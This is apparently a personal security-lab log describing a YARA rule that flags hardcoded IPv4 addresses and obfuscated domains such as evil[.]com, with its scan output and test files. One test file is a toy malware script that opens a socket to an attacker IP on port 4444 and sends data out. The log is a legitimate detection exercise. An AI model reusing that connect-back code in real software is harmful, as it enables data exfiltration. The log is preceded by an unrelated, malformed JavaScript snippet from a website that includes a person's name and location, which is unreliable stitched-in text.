

```
display_language = 'de';
I18n.available_locales = [{"English": "en"}, {"Deutsch": "de"}, {"Español": "es"}, {"Français": "fr"}, {"Italiano": "it"}];
window.current_currency = 'EUR';

var _sf_startpt=(new Date()).getTime();

window.current_project = "{id:261923703, photo: '(key)', name: 'Markus Spialek', is_restricted: false, location: '(id:648418, name: \'Erlangen\')'};

window.current_user = "{id:802505756, name: 'Markus Spialek', is_restricted: false, location: '(id:648418, name: \'Erlangen\')'};

window.current_location = "(id:648418, name: 'Erlangen')";

window.timeRemaining = function timeRemaining(epochTime){
    var diff = epochTime - ((new Date()).getTime() / 1000);
    var num_unit = (diff < 60 && [Math.max(diff, 0), 'seconds']) ||
        ((diff/60) < 60 && [diff, 'minutes']) ||
        ((diff/60) < 72 && [diff, 'hours']) ||
        [diff/24, 'days'];

    // Round down
    num_unit[0] = Math.floor(num_unit[0]);
};
```

IPv4 & Obfuscated Domain Detection

 Date: August 11, 2025

Field	Description
Rule Name	IPv4_Obfuscated_Domain_Detection
Author	Jynx
Date Created	August 11, 2025
Version	4.5.2
Status	TESTED
Target Files	malware_script.py , clean_script.py
Detection Goal	Detect presence of hardcoded IPv4 addresses and obfuscated domains in code (e.g., evil[.]com).

Rule Code

```
rule IPv4_Obfuscated_Domain_Detection
{
    meta:
        author = "Jynx"
        description = "Detects hardcoded IPv4 and obfuscated domains like e
vill[.]com"
```

```

date = "2025-08-11"
version = "4.5.2"

strings:
$ip = /([0-9]{1,3}\.){3}[0-9]{1,3}/ nocase
$domain = /[a-zA-Z0-9]+\[\.\][a-zA-Z]{2,}/ nocase

condition:
all of them
}

```

Findings

```

(jynx㉿kali)-[~/Desktop/linux/august11]
└─$ yara ipv4ObfuscatedDomain.yar malware_script.py
warning: rule "IPv4_Obfuscated_Domain_Detection" in ipv4ObfuscatedDomain.yar(10): string "$ip" may slow down scanning
IPv4_Obfuscated_Domain_Detection malware_script.py

(jynx㉿kali)-[~/Desktop/linux/august11]
└─$ yara ipv4ObfuscatedDomain.yar clean_script.py
warning: rule "IPv4_Obfuscated_Domain_Detection" in ipv4ObfuscatedDomain.yar(10): string "$ip" may slow down scanning

```

```

(jynx㉿kali)-[~/Desktop/linux/august11]
└─$ cat clean_script.py
# clean utility script
import os

def list_files():
    for f in os.listdir('.'):
        print(f)

list_files()

# False positive traps for regex testing
# 999.999.10 -- invalid IP format
# file[.]config -- harmless obfuscated domain

(jynx㉿kali)-[~/Desktop/linux/august11]
└─$ cat malware_script.py
# malicious payload
import socket

# Connect to attacker's server
attacker_ip = "192.168.10.55"
domain = "evil[.]com"

def connect_back():
    s = socket.socket()
    s.connect((attacker_ip, 4444))
    s.send(b"Sensitive data exfiltration")

```

Logic Breakdown

Element	Meaning
\$ip	Matches IPv4 addresses with each octet being 1–3 digits
\$domain	Matches obfuscated domains of the form name[.]tld
nocase	Makes both matches case-insensitive
all of them	Both \$ip and \$domain must be present in the same file for a match

Test Results

Test File	Expected Result	Actual Result
malware_script.py	Match	Match
clean_script.py (with false-positive traps)	No Match	No Match

Notes & Observations

- **Warning:** \$ip pattern may slow scanning on large datasets due to nested repetition — not an issue in our small tests.
- Learned that YARA regex doesn't support \d or \b, and requires [0-9] and explicit ranges.
- False-positive traps (999.999.10 and file[.]config) successfully ignored.
- Syntax errors earlier today came from unsupported escape sequences and needing to place nocase outside regex delimiters.

📌 **Acknowledgement:** Today's drill built on foundational regex/YARA concepts and debugging, not flashy output — but critical for real-world DFIR readiness.